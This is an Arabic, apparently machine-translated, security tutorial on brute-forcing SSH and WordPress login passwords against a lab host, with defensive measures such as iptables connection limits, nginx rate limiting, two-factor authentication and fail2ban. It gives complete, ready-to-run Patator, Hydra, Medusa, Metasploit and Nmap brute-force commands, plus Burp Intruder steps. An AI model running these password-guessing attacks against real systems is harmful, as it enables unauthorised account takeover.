هجمات القوة الغاشمة باستخدام Kali Linux



القوة الغاشمة (هجوم القوة الغاشمة) هي طريقة لحل المشكلات الرياضية ، وتعقيدها يعتمد على عدد الحلول الممكنة. عادةً ما يستخدم مصطلح القوة الغاشمة نفسها في سياق هجمات القراصنة عندما يحاول المهاجم التقاط اسم مستخدم / كلمة مرور لحساب أو خدمة.

النظر في الأدوات التي يمكنك استخدامها لتنفيذ هجمات القوة الغاشمة على خدمات SSH و WEB المتاحة في Kali Linux (Patator ، Medusa ، Hydra ، Metasploit) ، وكذلك BurpSuite.

جميع المواد المقدمة بموجب هذه المادة مخصصة للاستخدام التعليمي فقط. يحظر استخدام المواد بطريقة غير قانونية وغير قانونية.

القوة الغاشمة سه


على سبيل المثال ، خذ آلة الاختبار 192.168.60.50 وحاول العثور على كلمة مرور اختبار المستخدم بواسطة SSH. سوف نستخدم كلمات مرور شائعة من قاموس rockyou.txt القياسي.



باتور
لتحديد كلمة مرور باستخدام Patator ، استخدم الأمر:

patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg='Authentication failed'

حيث:
ssh_login - الوحدة النمطية المطلوبة
المضيف هو هدفنا
المستخدم - تسجيل دخول المستخدم الذي يتم تحديد كلمة مرور أو ملف به عمليات تسجيل دخول للاختيار المتعدد
كلمة المرور - القاموس مع كلمات المرور
-x ignore: mesg = 'فشل المصادقة' - لا يعرض الأمر سطرًا بهذه الرسالة. يتم تحديد المعلمة تصفية بشكل فردي.

الصورة



هيدرا
لتحديد كلمة مرور باستخدام Hydra ، قم بتنفيذ الأمر:

hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50

حيث:
-V - إظهار زوج من اسم المستخدم + كلمة المرور أثناء التكرار
-f - توقف بمجرد العثور على كلمة المرور لتسجيل الدخول المحدد
-P - المسار إلى القاموس مع كلمات المرور
ssh: //192.168.60.50 - إشارة الخدمة وعنوان IP للضحية

الصورة



ميدوسا
لتحديد كلمة مرور باستخدام Medusa ، قم بتنفيذ الأمر:

medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6

حيث:
-h - عنوان IP للضحية
يو - تسجيل الدخول
-P - مسار القاموس
-M - اختيار وحدة
-f - توقف بعد العثور على اسم مستخدم / كلمة مرور صالح
-v - ضبط عرض الرسائل على الشاشة أثناء عملية الاختيار

الصورة



ميتاسبلويت
سوف نبحث عن أداة لتنفيذ هجمات القوة الغاشمة على SSH:
search ssh_login وحصلت على الجواب:

الصورة

نستخدم الوحدة:

use auxiliary/scanner/ssh/ssh_login

لعرض المعلمات الضرورية ، استخدم أمر show options . بالنسبة لنا هو:
rhosts - عنوان IP للضحية
منفذ الميناء
اسم المستخدم - تسجيل الدخول SSH
userpass_file - المسار إلى القاموس
stop_on_success - توقف بمجرد وجود اسم مستخدم / كلمة مرور
المواضيع - عدد المواضيع

الصورة

يتم الإشارة إلى المعلمات الضرورية من خلال الأمر " set ".

set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22


بعد تحديد المعلمات اللازمة ، نكتب الأمر " تشغيل " وننتظر.

الصورة

رد فعل


الحد من عدد الاتصالات المنشأة باستخدام جدار الحماية. مثال على إعداد iptables:

-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset .

ستقيد هذه القاعدة الوصول إلى SSH لكل عنوان IP إلى اتصال واحد في الثانية ، مما يعقد عملية البحث إلى حد كبير. أيضًا ، يمكن أن يكون الحل الفعال هو استخدام المصادقة ثنائية العوامل (على سبيل المثال ، استخدام eToken) أو المصادقة باستخدام زوج مفاتيح ، وكذلك استخدام قوائم ACL المستندة إلى عناوين IP.

القوة الغاشمة وورد


دعونا نلقي نظرة على مثال آخر - اختيار كلمة مرور لإطار تفويض نموذج الويب.

الصورة

على سبيل المثال ، سوف نختار كلمة المرور من حساب admin Wordpress.



Burpsuite
أولاً ، نحتاج إلى فهم كيفية حدوث عملية التفويض. لهذا سوف نستخدم BurpSuite. نحن بحاجة إلى محاولة تسجيل الدخول باستخدام أي كلمة مرور وتسجيل الدخول لمعرفة الطلبات التي تذهب من خلال BurpSuite.

الصورة

حسنًا ، لقد رأينا طلب POST للحصول على إذن ، وسنعمل معه.
يشير BODY إلى معلومات تسجيل الدخول وكلمة المرور التي تم التحقق منها ، مما يعني أنه يمكننا محاولة استبدال القيم التي نحتاجها بمفردنا.
نقوم بتمرير هذا الطلب إلى Intruder وهناك نختار المعلمات اللازمة للهجوم. في عنصر Payload Positions ، نترك نوع الهجوم باعتباره قناص ، ولكن للتحقق نترك فقط المعلمة pwd. وبالتالي ، فإن الهجوم سوف يغير هذه المعلمة فقط.

الصورة

نقوم بتحميل القاموس اللازم وبدء الهجوم.

الصورة

من سلوك تطبيق الويب ، نرى أن كلمة المرور غير الصحيحة تُرجع رمز الاستجابة 200. بعد تعداد القاموس ، نرى أن إحدى كلمات المرور أعطت الإجابة مع الكود 302 - إنها صحيحة.

الصورة

تستغرق طريقة القوة الغاشمة هذه وقتًا أطول من استخدام Patator ، Hydra ، Medusa ، إلخ. على الرغم من أننا اتخذنا قاموسًا صغيرًا ، تكررت BurpSuite على القاموس لمدة 40 دقيقة تقريبًا.



هيدرا
دعونا نحاول العثور على كلمة المرور باستخدام هيدرا.
كما نعلم بالفعل ، إذا كان التفويض غير صحيح ، فسيتم إرجاع الرمز 200 ، وإذا نجح ، فسيكون الرمز 302. دعونا نحاول استخدام هذه المعلومات.
للبدء ، استخدم الأمر:

hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"

هنا نشير المعلمات المطلوبة:
-l - اسم المستخدم
-P - القاموس مع كلمات المرور
-t - عدد المواضيع
http-post-form - نوع النموذج ، لدينا POST.
/wp-login.php هو عنوان URL لصفحة التفويض
^ USER ^ - يوضح مكان استبدال اسم المستخدم
^ PASS ^ - يُظهر مكان استبدال كلمة المرور من القاموس
S = 302 - إشارة إلى الإجابة التي تعتمد على Hydra. في حالتنا ، الجواب هو 302 بعد الحصول على إذن ناجح.

الصورة



باتور
كما نعلم بالفعل ، في حالة فشل التفويض ، يتم إرجاع الرمز 200 ، وإذا نجح ، فسيتم إرجاع 302. سوف نستخدم نفس المبدأ كما في Hydra:
يتم تنفيذ الإطلاق بواسطة الأمر:

patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1

http_fuzz - وحدة للهجوم المتشدد القوة HTTP
عنوان url - عنوان الصفحة بترخيص
FILE0 - المسار إلى القاموس مع كلمات المرور
نص - المعلومات التي يتم إرسالها في طلب POST أثناء التفويض
-t - عدد المواضيع
-x - في هذه الحالة ، حددنا الأمر بعدم عرض سطور الرسائل التي تحتوي على معلمة بالكود 200
accept_cookie - احفظ معلمة ملف تعريف الارتباط وقم بتمريرها إلى الطلب التالي
نتيجة لذلك ، تمكنا من العثور على كلمة مرور.

الصورة



Nmap
تسمح الأداة المساعدة Nmap ، من بين أشياء أخرى ، باختيار كلمات المرور لنماذج ترخيص الويب ، إذا كنت تستخدم النص http-Wordpress-brute مع الوسائط المقابلة:
- سيناريو - الحجج - إضافة الحجج
المستخدم أو userdb - تسجيل الدخول أو ملف مع تسجيلات الدخول
تمرير أو passdb - تحديد كلمة مرور أو قاموس
موضوع - عدد المواضيع
أولاً = صواب - عرض النتيجة بعد أول كلمة مرور صحيحة

nmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'

الصورة

رد فعل


قم بتقييد (تعقيد) هجمات القوة الغاشمة على تطبيقات الويب باستخدام iptables (على غرار SSH) و nginx. للقيام بذلك ، قم بإنشاء منطقة حدود:
...
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
...

واستخدامها:
location / {
...
limit_req zone=req_limits burst=10;
limit_req_status 429;
...
}

ستحدد هذه الإعدادات عدد الطلبات من عنوان IP واحد إلى 40 في الثانية.

لتعقيد مهمة التعداد ، يمكنك استخدام الطرق التالية:
- استخدام جدار الحماية والبرامج الأخرى للحد من عدد المكالمات إلى الخدمة المحمية. يمكنك أن تقرأ عن كيفية استخدامنا للتعلم الآلي للكشف عن مثل هذه الهجمات (بما في ذلك الهجمات الموزعة) في مقال .
- استخدام الأدوات التي تمنع التحقق السريع من صحة المفتاح (على سبيل المثال ، كلمة التحقق).

الخاتمة


في هذا المقال ، قمنا بفحص بعض الأدوات الشائعة بشكل سطحي. يمكنك تقليل خطر تخمين كلمة المرور باتباع الإرشادات التالية:
- استخدم كلمات مرور مقاومة لكلمة المرور ؛
- لا تنشئ كلمات مرور باستخدام المعلومات الشخصية ، على سبيل المثال: تاريخ الميلاد أو الاسم + تاريخ الميلاد أو الهاتف المحمول ؛
- تغيير كلمة المرور بانتظام ؛
- استخدم كلمات مرور فريدة على جميع الحسابات.

قليل من الناس يتبعون هذه التوصيات (وكذلك توصيات لتطوير شبكة آمنة) ، لذلك تحتاج إلى استخدام حلول البرمجيات المختلفة التي تسمح لك:
- تقييد الاتصال حسب عنوان IP ، أو إذا كان ذلك غير ممكن ، فقم بتقييد عدد الاتصالات المتزامنة بالخدمة (باستخدام iptables و nginx وغيرها) ؛
- استخدام المصادقة الثنائية ؛
- كشف ومنع مثل هذه الهجمات باستخدام SIEM أو WAF أو غيرها (على سبيل المثال ، fail2ban).

Source: https://habr.com/ru/post/ar434216/


All Articles